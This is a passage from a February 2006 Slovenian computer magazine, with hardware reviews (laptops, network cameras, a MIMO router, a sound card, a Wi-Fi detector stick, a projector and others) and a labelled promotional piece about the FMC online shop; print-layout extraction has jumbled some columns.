temelječo matično ploščo. Plošča gradi na vmesniku 939 in je primerna za katerikoli AMD-jev naprednejši procesor od Athlona 64 prek X2 do FX. Južni most plošče, ki skrbi za krmilnike EIDE in SATA je ULI-jev (ATI SB450 še vedno nima podpore za SATA 2), zvočni del pa pokriva ADI1986. Plošče CrossFire niso požele zanimanja septembra lani, ko so se pojavile, stvari pa so se spremenile nekaj mesecev pozneje, ko je ATI tudi v večjih količinah na trg dostavil svoje grafike družine X1000 in možnost vzporednih povezav grafik CrossFire. ASUS je premeteno med dve reži PCIE x16 namestil še redkeje rabljeni PCIE x1, zaradi česar imata grafični kartici več prostora za hlajenje. Plošča vsebuje vsa ASUS-ova standardna orodja za navijanje, možno je spreminjanje vseh komponent in napetosti. Tehnologija PEG (PCI Express Graphics) Link Mode omogoča večanje grafičnih zmožnosti grafičnih kartic PCIE. Plošča je delovala stabilno in hladno, zato tudi ni potrebe po aktivno hlajenem veznem naboru. PROTI: Vseskozi se nismo mogli znebiti ob- čutka, da gre za skromno zastavljeno ploščo, kar izvira že iz skromne vsebine v škatli. Kombinacije z Nvidio ponujajo več vsega. Če uporabljamo le eno grafično kartico PCIE, je treba v zgornjo (sicer režo CrossFire master) vtakniti hčerinsko kartico, ki spodnji reži PCIE omogoča delovanje v x16 načinu (sicer obe reži delujeta kot x8). Jaka Mele 58 Skupna ocena:  Razmerje cena/kakovost:  Informacije: Mobicom, d.o.o., Trzin Spletni naslov: www.sony.com Cena: 102.168 SIT Tehnični podatki Ločljivost: 640 x 480 Vmesniki: Ethernet 10/100BaseT Pomnilnik: − Format zajema: MPEG-4 Drugo: Napajalnik, stojalo za montažo, detektor gibanja, mikrofon, motorizirano premikanje ZA: Sony kot starosta na področju videa in kamer ponuja tudi celoten nabor omrežnih in brezžičnih nadzornih videokamer. Ogledali smo si vstopni model SNC-M3. Gre za povsem običajno barvno kamero, primerno za video nadzor doma ali pisarne. Kamera je zaprta v belo okroglo plastično ohišje, skozi prozoren del pleksi stekla pa kuka objektiv. Motorizirano premikanje pokriva vodoravno območje 120 stopinj in navpično območje 70 stopinj. Kamera omogoča zajem 30 slik na sekundo pri ločljivosti 160 x 120 in 320 x 240 ter 15 slik na sekundo pri polni ločljivosti 640x480. Za kodiranje videa kamera uporablja kodek MPEG-4, Kamera zajema tudi zvok, ima pa tudi možnost priklopa zunanjega mikrofona. Dostop do kamere je prek klasičnega spletnega vmesnika ali prek posebnega programa. Program omogoča sočasno spremljanje slike in zajem na disk prek do 4 kamer. Program obvlada snemanje le pri zaznanem premikanju, lahko pa v takem primeru nastavimo še obveščanje ob dogodku prek e-poštnega sporočila. Kamera ima ethernetni vmesnik 10/100 in vhod za napajanje. Pozna dinamični DNS, s čimer lahko do nje prek vedno istega domenskega naslova pridemo tudi prek linij ADSL. PROTI: Napajalnik ima le dober meter in pol dolg kabel. Kamera je primerna le za namestitev v notranjosti prostorov, ločljivost in osvežitve kažejo na osnovni model. Moramo priznati, da smo od Sonya pričakovali več. Jaka Mele Skupna ocena:  Razmerje cena/kakovost:  Informacije: Gorenje, d.d., Ljubljana Spletni naslov: www.gorenje.si Cena: 49.900 SIT Tehnični podatki Podprti mediji za pisanje: DVD+R(W) Podprti mediji za branje: DVD+R(W), DVD-R(W), CD-R(W) Predvaja: DVD, VCD, SVCD, avdio CD/DVD, MP3, Picture CD, JPEG CD/DVD, MPEG4, DivX, Xvid, LPCM Video vrata: 2x SCART, 1x komponentni video, 2x S-video, 2x kompozitni video, antenski priključek Avdio vrata: 1x koaksialni digitalni, 1x optični S/PDIF, 6x činč (stereo izhod RCA/5.1 AC3) Regijsko zaščiten DVD: Da Daljinski upravljalnik: Da Dodatno: DV-vhod Mere in teža: 60 x 430 x 325 mm, 4 kg ZA: Gorenje je presenetil s paleto DVD- in DivX-predvajalnikov, nato pa še DVD- zapisovalnikov. Pozornost pa so si enote pridobile po izpostavitvi v katalogih domačih veletrgovcev. Ogledali smo si zapisovalno enoto DVR-2000X, ki želi v naših domovih zamenjati stari dobri videorekorder. Nevpadljivo sivo črno oblikovana enota ima vdelan analogni TVsprejemnik ter enoto DVD+RW, s katero je moč na DVD-medij posneti 1−6 ur TV-programa (odvisno od kakovosti zapisa). Če snemamo na medij DVD+RW, je moč naknadno tudi urejati vsebine, vendar le simbolično (video lahko razsekamo v dele in določene dele zakrijemo – uporabno za recimo reklame). Sicer pa zna enota tudi predvajati tako zapise DVD kot DivX in MPEG-4, kjer delujejo tudi podnapisi in tudi slovenski šumniki. Tudi vse druge funkcije, kot so programiranje enote za zakasnjeno snemanje, predvajanje glasbe in slik, delujejo. Na prednji strani enote je DVvhod. Med delovanjem je enota med tišjimi v tem cenovnem razredu. PROTI: Enota je regijsko zaklenjena. Da- ljinski upravljalnik je – bojimo se, ne namerno – oblikovan zelo »retro«. Slovenski meniji so hecno prevedeni, večkrat prisilno skrajšani, kot recimo »Prosim počak«. Če bi enota premogla še vdelan še trdi disk in možnost zamaknjenega predvajanja, bi bilo to fantastično, da pa bi kdo vdelal omrežni vmesnik, pa je očitno tudi preveč. Enota je izdelana v Turčiji. Jaka Mele moj mikro | 2 | februar | 2006 Spletna trgovina FMC Po meri kupca Spletna trgovina podjetja FMC je zastavljena na podobnih načelih kot klasična trgovina – jasno in vidno so označeni izdelki akcijske ponudbe, nato pa se uporabnik sprehodi v trgovino, kjer lahko brska po ponudbi. Vsak izdelek je predstavljen na preprost način, ki da kupcu vedeti, kakšne prednosti ponuja, komu je namenjen in za katera opravila, pa tudi kako se razlikuje od konkurenčnih izdelkov. tako podrobne, ne dajo vedeti, kakšna je razlika med posameznimi izdelki, zato je na voljo tudi možnost medsebojne primerjave. Ko obiskovalec strani izbere izdelke, ki ga zanimajo, se vse njihove značilnosti izrišejo ena poleg druge v obliki tabele. Tako je mogoče hitro ugotoviti, kje so razlike in ker so vsi tehnično podrobno opisani, je mogoče tudi ugotoviti, kaj te razlike pomenijo. Seveda pa sam nakup še ne pomeni prekinitve odnosa med kupcem in prodajalcem. Računalništvo je vsekakor panoga, kjer se ta odnos vzdržuje še precej časa po nakupu. Kupec namreč pogosto potrebuje dodatno komunikacijo, predvsem v obliki pomoči. Velikokrat se namreč izgubijo navodila za uporabo, založijo ali uničijo se mediji z gonilniki, lahko pa je z izdelkom tudi kaj narobe. Pri FMC-ju so zato izdelali poseben razdelek z imenom Servis, kjer lahko kupec dobi navodila za uporabo izdelkov, sname gonilnike, lahko pa prijavi tudi napako v računalnikih Dell. V tem primeru bo s kupcem stopil v stik nekdo iz tehnične pomoči in mu pomagal. Posebej glede servisa in tehnične pomoči so pri FMC-ju naredili res veliko. Kupcu poleg klasičnega servisa ponujajo tudi druge možnosti, kjer je lahko kupec deležen hitrejšega odziva servisne službe (tudi isti dan), podaljšanje garancijske dobe tudi na pet let in še kaj. Poleg tega se lahko kupec, če sumi, da je z njegovim računalnikom kaj narobe, prijavi za brezplačen tehnične pregled računalnika. V spletni trgovini podjetja FMC lahko torej kupec dobi vse informacije o izdelkih, podobno kot v klasični trgovini, le da lahko vse skupaj opravi iz domačega naslanjača. In zaradi kakovosti podatkov, ki jih dobi na spletni strani www.fmc.si, bo z nakupom seveda tudi zadovoljen, saj ne bo imel občutka, da mu nekdo prodaja mačka v žaklju. promocijski članek Le malo slovenskim spletnim trgovinam računalniške opreme je uspelo izkoristiti vse možnosti, ki jih ponuja spletna tehnologija. Pri tem ne mislimo le na sisteme plačevanja, ampak na kakovost in količino informacij, ki jih je prek spleta mogoče posredovati kupcu, da se lahko ta čim bolj kakovostno odloči. Kupec namreč še zdaleč ni zadovoljen le s sličico izdelka in ceno, četudi je ta zelo ugodna. Premalo so tudi le najosnovnejše tehnične lastnosti. Kupec bi rad o izdelkih izvedel čim več in jih tudi med seboj primerjal. Kaj torej kupec hoče? Hoče zamenjavo za prodajalca iz mesa in krvi. In to visoko kvalificiranega prodajalca. Spletna stran podjetja FMC (www.fmc.si) je vsekakor ena takšnih, ki kupcu ponuja vse, kar si lahko zaželi. Izdelana je pregledno in intuitivno, tako da se tudi uporabniki, manj vešči sprehodov po internetu, enostavno znajdejo. Filozofija spletne trgovine FMC je pravzaprav podobna filozofiji klasične trgovine, kar je vsekakor pravilen koncept. Na najvidnejšem mestu, torej na prvi strani, so izdelki iz akcijske ponudbe, nato pa se lahko uporabnik »sprehodi« do drugih izdelkov v trgovini. Ti so razdeljeni v smiselne skupine, tako da lahko hitro najde, kar želi. Izdelki iz prodajnega programa podjetja so podrobno opisani, in to na način, s katerim bodo zadovoljni tako manj zahtevni kupci kot strokovnjaki. Vsak izdelek je predstavljen na preprost način, ki da kupcu vedeti, kakšne prednosti ponuja, komu je namenjen in za katera opravila, pa tudi kako se razlikuje od konkurenčnih izdelkov. Za zahtevnejše kupce so na voljo tudi podrobni tehnični opisi, da pa se ne bi zanašali le na njihove besede, je večina opremljena tudi s podatki v obliki PDF, ki jih ponuja proizvajalec sam. Tako lahko kupec dobi res podrobne informacije o izdelku in se tako lažje odloči. Same tehnične značilnosti, pa naj bodo še V spletni trgovini FMC je mogoče izdelke na pregleden način med seboj tudi primerjati. 59 POD LUPO ultralahki prenosni računalnik prenosni računalnik prenosni računalnik Fujitsu Siemens LifeBook P1510 Lenovo ThinkPad Z60m Packard Bell EasyNote W7600 Skupna ocena:  Razmerje cena/kakovost:  Informacije: Siemens, d.o.o., Ljubljana Spletni naslov: www.fujitsu-siemens.com Cena: 474.000 SIT Tehnični podatki Procesor: Intel Pentium M 753, ULV 1.2 GHz Pomnilnik: 512 MB DDR-2; 400 MHz Trdi disk: 60 GB EIDE, 4200 obratov/min Vdelane pomnilniške enote: Bralnik pomnilniških kartic SD in CompactFlash Zaslon: 8,9", 1024 x 600 pik Grafična kartica: Intel 915 GS, od 8 do 128 MB Vmesniki: VGA, 2 x USB 2.056 K modem, 10/100 LAN, Wi-Fi 802.11a/b/g, zvočniki, Bluetooth 1.2, senzor prstnih odtisov Delovanje baterij: 2:25, BatteryMark Mere in masa: 232 x 167 x 37 mm, 1 kg Programska oprema: Windows XP Home, Norton Ghost ZA: Fujitsu Siemens je predstavil nov ultraprenosni tablični računalnik, imenovan P1510. V notranjosti malčka so skrite najnovejše tehnologije, kot so nov nizkonapetostni Pentium M 753, pomnilnik DDR2 … Odlična tipkovnica prenosnika je v primerjavi s standardnimi tipkovnicami približno 20 % manjša, a po nekaj minutnem privajanju nas to ne moti več. Prenosniku, ki je hkrati tudi tablični računalnik in ima v ta namen tudi izvlečno pisalo, je moč obračati zaslonski del. K majhni teži prida 3-celična baterija, ki ponuja le okoli dve uri avtonomije. Možen je dokup večje, 6-celične baterije, ki pa na sprednji strani pred tipkovnico nato malce štrli izven prenosnika. Glede komunikacij je prenosnik dobro opremljen, saj ima tako bluetooth 1.2 kot 802.11a/b/g. Prenosnik deluje precej krhko, v tabličnem načinu manjka zatič pokrova. Ločljivost premajhnega in zato slabo berljivega 8,9palčnega zaslona je žal le skopih 1024 x 600 pik. Zaslon se blešči in nikakor ga ne moremo nastaviti na svetlo, a nemoteče bleščeče stanje. Prepoznavanja dotika zaslona žal temelji na pasivnem digitalizatorju! Natančnost prepoznavanja se na levi strani zaslona razlikuje od desne, tudi umerjanje ni pomagalo. Žal je skupni vtis: bolj igrača kot kaj več. Jaka Mele PROTI: 60 Skupna ocena:  Razmerje cena/kakovost:  Informacije: Lenovo Technology, Slovenija Spletni naslov: www.lenovo.com Cena: 2340 USD (okoli 500.000 SIT) Tehnični podatki Procesor: Intel Pentium M 760 Pomnilnik: 512 MB DDR Trdi disk: 70 GB Vdelane pomnilniške enote: DVD-Multi Recorder Zaslon: 15,4 WSXGA Grafična kartica: ATI Mobility Radeon X600 Vmesniki: 1 x PC Card (PCMCIA), IrDA, avdio, 3 x USB 2.0, FireWire, S-video, VGA, bralnik kartic, modem, Gb LAN, WLAN 802.11 b/g Delovanje baterije: 4:52 Mere in teža: 357 x 262 x 37 mm; 3,1 kg Programska oprema: Windows XP ZA: Čeprav je IBM svojo proizvodnjo prodal na Kitajsko podjetju Lenovo, se tokrat preizkušeni model še vedno ponaša z nalepko IBM. Lenovo ThinkPad Z60m je glede zmogljivosti dober prenosnik, ki bo kos tudi zahtevnejšim nalogam. Zgrajen je robustno in je odporen na pretrese na poti. Zaslon ima nekoliko večjo ločljivost, kot jo najdemo pri osnovnih modelih s 15,4-palčnim zaslonom. Titanovo ohišje daje Z60m nekoliko drugačen videz od ThinkPadove klasike. Pohvalna je rešitev odvajanja odvečne toplote, saj se prenosnik tudi pri daljšem delu nikjer pretirano ne greje, tako da je delo udobno. Za varnost podatkov je še dodatno poskrbljeno z vdelanim bralnikom prstnih odtisov, ki je namenjen identifikaciji uporabnika. Zanimiva možnost, ki pa ji nekateri ne pripisujejo ravno prevelikega pomena. PROTI: Z60m lahko dobite z manjšo, 6-ce- lično, ali večjo, 9-celično baterijo. Preizkušeni model je imel večjo, ki se ni najbolje prilegala v ohišje in se je kar opazno premikala sem in tja. Poleg tega tudi zaradi velikosti na zadnjem delu precej štrli iz ohišja. Kakšnih posebnih razlogov proti odločitvi za Z60m sicer ne bi mogli najti, razen morda to, da je nekoliko pretežak. Gregor Baš Skupna ocena:  Razmerje cena/kakovost:  Informacije: IZID, d.o.o., Ljubljana Spletni naslov: www.packardbell.com Cena: 490.680 SIT Tehnični podatki Procesor: Intel Pentium M 735; Dothan 1,7 GHz Pomnilnik: 1024 MB DDR, 333 MHz Trdi disk: 80 GB Vgrajene pomnilniške enote: DVD+-R(W)/DL Zaslon: 17", 1440 x 900 pik Grafična kartica: Nvidia GeForceGo 6600 Vmesniki: VGA, 6 x USB 2.0, 56K modem, 10/100 LAN, avdio, 1x PCMCIA, bralnik pomnilniških kartic 4v1, Wi-Fi 802.11b/g, S-video, IEEE 1394, hibridni TV-sprejemnik, S-video TV-izhod, zvočniki z nizkotoncem Delovanje baterij: 1:40; BatteryMark Mere in masa: 393 x 275 x 38 mm, 3,7 kg Programska oprema: Windows XP Home, Works, PowerProducer, PowerCinema, Norton Internet Security 2005 ZA: Novi Packard Bellov »malček« je pravza- prav velikan. Kar 17-palčni zaslon tehnologije Diamond View z razmerjem stranic 16 : 9 so spravili v ta eleganten in lep prenosnik. Odet v visokokakovostno črno kovinsko plastično ohišje se W7600 sploh ne zdi tako velik. Velikost opazimo šele, ko pogledamo tipkovnico in poleg standardnih tipk, ki jih najdemo na prenosniku, ugledamo še numerični del tipkovnice. V zgornjem delu nad tipkami so še hitre tipke, s katerimi lahko upravljamo predvajanje medijskih vsebin, priložen pa je celo kartični daljinski upravljalnik, ki se zelo priročno prilega v razširitveno režo PCMCIA. Sicer je v prenosniku vse, kar uporabnik potrebuje za udobno delo, vključno z dvoslojno DVD-zapisovalno enoto, digitalnimi zvočnimi vrati SPDIF in vdelanim dvojnim analognim in DVB-T TV-sprejemnikom. Kar 6 vrat USB 2.0 bo zagotavljalo dolgoročno razširljivost, pa tudi grafika Nvidia 6600Go bo poganjala marsikatero tudi najnovejšo igro. Vdelani zvočniki so na ravni, in čeprav ne nosijo lepo zvenečega imena imajo tudi nizkotonsko enoto. PROTI: Žal dostop do TV-ja in DVD-ja ni možen ob ugasnjenem računalniku, kar je velika škoda, saj nam je bila funkcija v Toshibinem Qosimu zelo všeč. Med minuse lahko štejemo tudi težo in nizko avtonomijo. Jaka Mele moj mikro | 2 | februar | 2006 POD LUPO zvočna kartica z zunanjo enoto brezžični vmesnik in detektor ter USB-ključ Creative Sound Blaster X-Fi Fatal1ty FPS TRENDnet TEW-429UF ���� ������� Skupna ocena:  Razmerje cena/kakovost:  Spletni naslov: www.trendnet.com Cena: 26.640 SIT Tehnični podatki Frekvenčni prostor: 2,4 GHz, 802.11b/g Antena: 2 dBi, integrirana Napajanje: Li ion akumulator 180 mAh Indikatorji: Standard Wi-Fi, SSID, način zaščite, moč signala, stanje baterij ZA: Podobno napravo smo opisali že pred nekaj meZA: V zadnjem letu je trirazsežni zvok izgubil prepoznavnost in ekskluzivnost, saj so vsi proizvajalci matičnih plošč nanje dodali zvočne module, ki podpirajo zvočne postavitve 7.1. Creativov Audigy je tako počasi zatonil v pozabo in niti Intelovo sodelovanje z laboratoriji Dolby ni dvignilo večjega prahu. Nato je udarila strela iz jasnega: Creative je predstavil novo generacijo Sound Blasterja, tokrat poimenovanega X-Fi. X-Fi označuje »ekstremno kakovost«, ki se nanaša tako na funkcionalnost, (ne)obremenjevanje računalnika in kakovost reprodukcije in zajema. Kot vedno je novinec na voljo v več paketih, z več ali manj dodatki. Ogledali smo si najobsežnejši paket imenovan Fatal1ty, saj zanj dela reklamo eden najboljših igralcev računalniških iger na svetu − Jonathan »Fatal1ty« Wendel. Poleg kartice PCI sta v škatli še razširitvena 5,25-palčna enota in daljinski upravljalnik. Enota na prednji strani združuje vhode in izhode, na njej pa so tudi potenciometri za uravnavanje jakosti kanalov. Srce kartice je procesor X-Fi, ki se z procesno močjo 10.000 mipsov uvršča prav v vrh in Skupna ocena:  Razmerje cena/kakovost:  Informacije: ElkoTex, d.o.o., Ljubljana Spletni naslov: www.creative.com Cena: 59.000 SIT Tehnični podatki Vhodni modul: Optični S/PDIF, koaksialni S/PDIF, mikrofon, linijski vhod, 2 x činč (stereo RCA), MIDI Izhodni modul: Slušalke, optični S/PDIF, koaksialni S/PDIF, MIDI, digitalni izhod Programska oprema: Gonilniki, Creative Mediasource Drugo: Daljinski upravljalnik za faktor 10x prekaša prejšnjega Audigyjevega. Kakovost reprodukcije je enkratna, saj razmerje med signalom in šumom presega 109 dB, pri procesiranju pa 136 dB. Močan procesor s 64 MB pomnilnika razbremenjuje osrednji procesor računalnika, podpira pa novo prostorsko knjižnico EAX Advanced HD 5.0. Za uporabnike slušalk se novosti skrivajo v X-Fi CMSS 3D. PROTI: Visoka cena. Creative je iz razširit- venega modula potihoma umaknil vrata firewire. Programska oprema bi bila lahko boljša. V prejšnjih generacijah so najmočnejšim paketom prilagali tudi igre. Jaka Mele seci in med drugim zapisali, kaj napravici še manjka do popolnosti. Veseli nas, da je Trendnet razmišljal v podobno smer in novinec ima vse, kar smo si želeli že pri predhodniku. Gre torej za USB-ključ velikosti 10 x 2 x 2 cm, ki vsebuje 512 MB pomnilnika, hkrati pa še brezžični omrežni adapter 802.11b/g. Ker pa vsi vemo, da je vklapljanje prenosnika, da bi ugotovili, ali lovimo kakšno brezžično omrežje, zelo zamudno opravilo, je toliko bolj dobrodošel vdelani detektor brezžičnih omrežij. Na zgodnji strani ima napravica namreč LCD-zaslon, na katerem se izpiše zaznano brezžično omrežje skupaj z vsemi ključnimi informacijami. Ker ima napravica vdelan litijev ionski akumulator, jo lahko uporabljamo tudi brez priklopa v računalnik. Zmožna je zaznati do 16 wifi omrežij, za katere poizve tudi vse ključne informacije. Tako lahko za zaznana omrežja vidimo ime (SSID), uporabljen standard (hitrost) ter način zaščite (WPA, WEP, ali brez). Po novem naprava prepozna tudi WPA2. Z daljšim pritiskom na enega izmed dveh gumbov krožimo med tremi načini iskanja oz. razvrščanja zaznanih omrežij – te zna napravica razporediti po moči signala (uporabno za iskanje najboljše povezave) in po odprtosti (nezaščitena omrežja, ki ne uporabljajo šifriranja, so na vrhu seznama). Wi-fi del v navezi z računalnikom in prek vmesnika USB 2 omogoča povezovanje tako po 802.11b kot 802.11g, podpira pa tudi WPA2 kodiranje. Gonilniki, nameščeni na pomnilniškemu delu ključa, se namestijo samodejno, brez CD-ja. PROTI: Želimo si osvetljen LCD-zaslon. Ker je antena integrirana, žal ni moč določiti smeri, iz katere izvira wifi signal. Jaka Mele 61 POD LUPO brezžična omrežna oprema MIMO omrežna videokamera Netgear RangeMax 240 WPNT834 in kartica PCMCIA WPNT511 LevelOne FCS -1040 ZA: Ko se je trenutno navdušenje, ki ga je prinesla prva generacija usmerjevalnikov z antensko tehnologijo MIMO, poleglo, deloma zaradi visokih cen, deloma zaradi slabših od pričakovanih rezultatov v praksi, je naslednja generacija MIMO zrelejša in zato previdnejša. Netgear je tako kot v preteklosti prvi, ki je tehnologijo pripeljal na trg. Drugače kot pri Video54 je tokrat uporabljena tehnologija MIMO podjetja Aigro Networks, ki ga že lep čas uporabljata tudi Belkin in Linksys. MIMO Gen 3 prek prostorskega multipleksa po enem kanalu pretaka več podatkovnih tokov, pri čemer mu pomaga tudi nova tehnologija ACE (Adaptive Channel Expansion) za dinamično povečevanje zmogljivosti aplikacij, ki zahtevajo intenzivno pasovno širino na način, ustrezen za wi-fi, ter samodejno izbiro kanala, ki zagotavlja najčistejše razpoložljive povezave tudi v neidealnih razmerah, ki jih srečujemo v realnosti. Novinec skratka obljublja daljši doseg delovanja in odpravo mrtvih kotov ter povišanje prenosnih hitrosti na 240 Mb/s, s čimer naj bi izenačil kabelsko hitrost 100 Mb/s. Najvišji prenosi naj bi bili možni le z uporabo posebne brezžične kartice PCMCIA, pripravljene za delo z MIMO. Tako usmerjevalnik kot kartica omogočata tudi šifriranje s polno hitrostjo, pospešeno s strojno opremo, za 128bitne standarde AES, TKIP in WEP ter najnovejši WPA2. Nastavljanje usmerjevalnika Kombinacija Usmerjevalnik in kartica Netgear Usmerjevalnik Netgear in kartica 802.11g Usmerjevalnik 802.11g in kartica Netgear Usmerjevalnik 802.11g in kartica 802.11 g 100 Mb/s ethernet 62 Pošiljanje (MB/s) 5,45 Prejemanje (MB/s) 4,74 2,30 1,15 2,21 1,85 1,95 1,03 6,06 11,13 Skupna ocena:  Razmerje cena/kakovost:  Informacije: Domex, d.o.o. Spletni naslov: www.netgear.com Cena: Usmerjevalnik okoli 58.680 SIT, kartica PCMCIA 38.280 SIT Tehnični podatki Frekvenca in hitrost: 2,4 GHz, 240 Mb/s Podprti protokoli: IEEE 802.11g/802.11b Načini upravljanja: Spletni vmesnik Število in tipi vmesnikov: 4x LAN RJ45 10/100 Možnost vdelave dodatnih modulov: Ne Tehnologija MIMO: True MIMO Gen3 Dodatne funkcije: Požarni zid, povečanje hitrosti na 240Mb/s, 3 zunanje antene, izmenljiva antena, IDS Priloženo: Programska oprema, vmesnik za namestitev, navodila je enostavno in podprto z mnogimi čarovniki, ki omogočajo nadgradnjo strojne kode, samodejno ureditev varnosti ... Brezžični doseg je brez težav prešel dve železobetonski steni, kar bi marsikateri drugi opremi signal zbilo pod uporabno mejo. Tri zunanje antene omogočajo boljšo občutljivost kot pri predhodniku, srednjo pa je moč zamenjati s še močnejšo. Tudi ob drugih wi-fi omrežjih se je Netgear znal premakniti na nezaseden del radijskega spektra. PROTI: Cena. Navkljub več poskusom in bližanju idealnim razmeram nam je še veliko manjkalo do obljubljenih prenosnih hitrosti, še vedno pa so dobljeni rezultati nekajkrat boljši od običajne omrežne opreme 802.11g. Domet je bil izboljšan, vendar (znotraj železobetonske zgradbe) ne več kot 20 %. Na prostem je bilo veliko bolje. Jaka Mele Skupna ocena:  Razmerje cena/kakovost:  Informacije: Digital Data, d.o.o., Ljubljana Spletni naslov: www.level1.com Cena: 179.000 SIT Tehnični podatki Ločljivost: 704 x 576 Vmesniki: Ethernet 10/100BaseT Pomnilnik: 16 MB Format zajema: MPEG-4 Drugo: Napajalnik, stojalo za montažo, detektor gibanja, mikrofon, motorizirano premikanje ZA: LevelOne FCS 1040 je nadgrajena različica pred nekaj meseci predstavljenega modela 1030. Med bistvene novosti sodita 10x optično povečevanje in motorizirana glava, ki omogoča oddaljeno nadziranje in premikanje kamere v območju 135 stopinj vodoravno in 90 stopinj navpično. Po strojni sestavi notranjosti ostaja kamera bolj podobna predhodnici, saj omogoča zajem 30 slik na sekundo pri ločljivosti 160 x 120 in 320 x 240 ter le še 12 slik na sekundo pri polni ločljivosti 704 x 576. Za kodiranje videa kamera uporablja kodek MPEG-4, Poleg videa kamera zajema tudi zvok. Dostop do kamere je prek spletnega vmesnika, ali pa prek posebnega programa Level One, ki je kameri tudi priložen in omogoča zajemanje in nadziranje prek do 16 kamer hkrati. Posebnost kamere je tudi funkcija AutoPatrol, s katero se kamera samodejno »sprehaja« po območju dosega. Moč je nastaviti tudi tri območja za prepoznavanje premikanja, kar je koristno tako za nadzor domačega kot poslovnega okolja. Prek spletnega vmesnika lahko poleg 10x optičnega približevanja kombiniramo še dodatni 100x digitalni zum. Preko nadzornega programa je moč določiti še snemanje le v primeru zaznanega premikanja, lahko pa v takem primeru nastavimo še obveščanje ob dogodku, ki je nadzorniku poslano prek e-poštnega sporočila. Prav tako lahko program signale vseh kamer shranjuje neposredno na trdi disk, ali pa določi le zajem posameznih posnetkov na časovni interval. PROTI: Napajalnik ima le dober meter in pol dolg kabel, kar utegne biti problematično, če hočemo kamero namestiti na višje mesto, od koder bi pokrivala večji kot. Kamera je primerna le za namestitev v notranjosti prostorov, saj ni odporna na vremenske vplive. Želeli bi si višjo ločljivost in hitrejše osveževanje, morda celo z brezžično ali gigabitno omrežno povezavo. Jaka Mele moj mikro | 2 | februar | 2006 POD LUPO podaljšek računalniških kablov videoprojektor dokumentna kamera Level One KVM-9000 Toshiba MT-400 Toshiba TLP-C001 Skupna ocena:  Razmerje cena/kakovost:  Informacije: Digital Data, d.o.o., Ljubljana Spletni naslov: www.level1.com Cena: 168.000 SIT Tehnični podatki Povezovalni vmesnik: Ethernet Prenos: PS2-miška, PS2-tipkovnica, D-sub Napajanje: Zunanji napajalnik Velikost, teža: 2x 78 x 39 x 110 mm, 269 g Gonilniki: Niso potrebni Drugo: Lokalna konzola, USB Skupna ocena:  Razmerje cena/kakovost:  Informacije: TIFT, d.o.o., Ljubljana Spletni naslov: www.toshiba.com Cena: 384.000 SIT Tehnični podatki Tehnologija in ločljivost: XGA 0,65” DPL, 1024 x 768 Svetilnost: 800 ANSI-lumnov Kontrast: 3000 : 1 Življenjska doba žarnice: 2000 ur, (3000 ur v ekonomičnem načinu) Vmesniki: Kompozitni video, S-video, D-sub, komponentni, DVI-D Mere in teža: 298 x 101 x 267 mm; 2,8 kg Daljinski upravljalnik: Da Dodatno: Torbica Skupna ocena:  Razmerje cena/kakovost:  Informacije: TIFT, d.o.o., Ljubljana Spletni naslov: www.toshiba.com Cena: 167.000 SIT Tehnični podatki Ločljivost zajema: 3.000.000 pik Izhodna ločljivost: 2048 x 1536 Vmesniki: D-sub Mere in teža: 340 x 270 x 80 mm, 1,9 kg ZA: Za vse, ki dostopajo do oddaljenih raču- ZA: Toshibin projektor MT400 je namenjen ZA: Tosbiha je skupaj z novo paleto projektornalnikov in strežnikov prek IP-omrežja (interneta) in bi radi popoln dostop, ima Level One ustrezno rešitev. Načelo delovanja KVM 9000 je enostavno. Napravo s priloženimi kabli priključimo v ciljni računalnik – tako tipkovnico kot miško prek PS2, VGA video povezavo prek vrat D-sub, nato pa v napravo povežemo še ethernetno omrežno povezavo. Rezervna možnost je krmiljenje naprave prek modemskega analognega dostopa (telnet). Ker ima naprava tudi priključke za konzolo, lahko lokalno v ciljni računalnik dostopamo prek tam nameščenega monitorja in tipkovnice/ miške. Prek vdelanih USB-vrat lahko prenašamo datoteke iz lokalne konzole v strežnik in obratno. Dostop do naprave je preko protokola HTTP ali HTTPS. Na strani odjemalca ne potrebujemo gonilnikov, tako da je uporaba napravice možna s katerim koli operacijskim sistemom. Prek naprave lahko tudi nadziramo ciljni računalnik, saj ga lahko ponovno zaženemo. Naprava deluje odlično, sama prepozna video ločljivost (največ 1280 x 1024), sledenje premikom miške in spremembe pa se dogajajo hitro in tekoče (za optimiranje ponudi namestitev posebnega gonilnika za miško). domači rabi, konkretno, domačemu kinu. V ta namen projektor gradi na tehnologiji DLP, in čeprav ne premore nobene dodatne tehnologije za prikaz tekoče video slike, projektor nima težav z lepo in tekočo sliko. Velikost projicirane slike je že na dveh metrih oddaljenosti od platna skoraj meter in pol, kar je odličen rezultat, ki ga lahko z velanim 1,2x optičnim povečevanjem še izboljšamo. Projektor obvlada navpično odpravo trapeznega popačenja slike do 16 stopinj. Ima pregledne in prijazne zaslonske menije ter klasično v Toshibinem slogu razporejene krmilne gumbe, ki so logično in so primerno označeni. Med delovanjem je projektor tih. Najvišja delovna ločljivost je do 1024 x 768, podprt je tudi prikaz slike 16 : 9, projektor pa podpira tudi PAL in NTSC vir. Projektor zna brez težav prikazati tudi sliko HDTV v načinih od 480i, preko 480p, 576i, 576p, 720p in 1080i). Dodatno je moč kupiti tudi krmilnik, ki ga priklopimo na zaporedna vrata projektorja. PROTI: PROTI: Pogrešali smo vhod HDCP. Projektor nima vdelanega nikakršnega zvočnika, kar pa pri domačem kinu običajno ni naloga projektorja. Cena je glede na ponujeno malce visoka. Jaka Mele Jaka Mele V današnjem digitalnem svetu je prava škoda, da niso vdelali raje digitalnega DVI- priklopa za zaslon ter dodatnih USBvmesnikov za priklop miške ali tipkovnice, saj večina novejših naprav uporablja to povezavo. jev predstavila tudi nekaj dodatkov, med katerimi zagotovo po uporabnosti najbolj izstopa dokumentna projekcijska kamera preprosto poimenovana C001. Gre za nadvse preprosto napravo, ki nadomešča grafoskope. Na dobrega pol metra visoki gibljivi ročki je nameščena kamera s senzorjem CMOS ločljivosti 3 megapike. Glavo kamere lahko zavoljo gibljivega nosilca svobodno premikamo. Naprava ima VGA-izhod, prek katerega jo lahko priklopimo na katerikoli projektor. Izhodna ločljivost je največ 2048 x 1536, s čimer bodo lastniki najnovejših visokoločljivih projektorjev pridobili še nekaj, še vedno pa bo delovala tudi na slabših in starejših modelih. Kamera ima tudi lastno LED-osvetlitev, možnost 2x optičnega in še dodatnega 4x digitalnega povečevanja ter prilagajanje kontrasta snemanemu objektu (papir, folija, knjiga, časopis, 3D-objekti … ), prek daljinskega upravljalnika, s katerim upravljamo vse funkcije, pa lahko celo povečamo določen del slike. Slika je odlična, kamera pa zna ostriti vse do makro oddaljenosti 10 cm od objekta naprej, kar v praksi pomeni, da brez 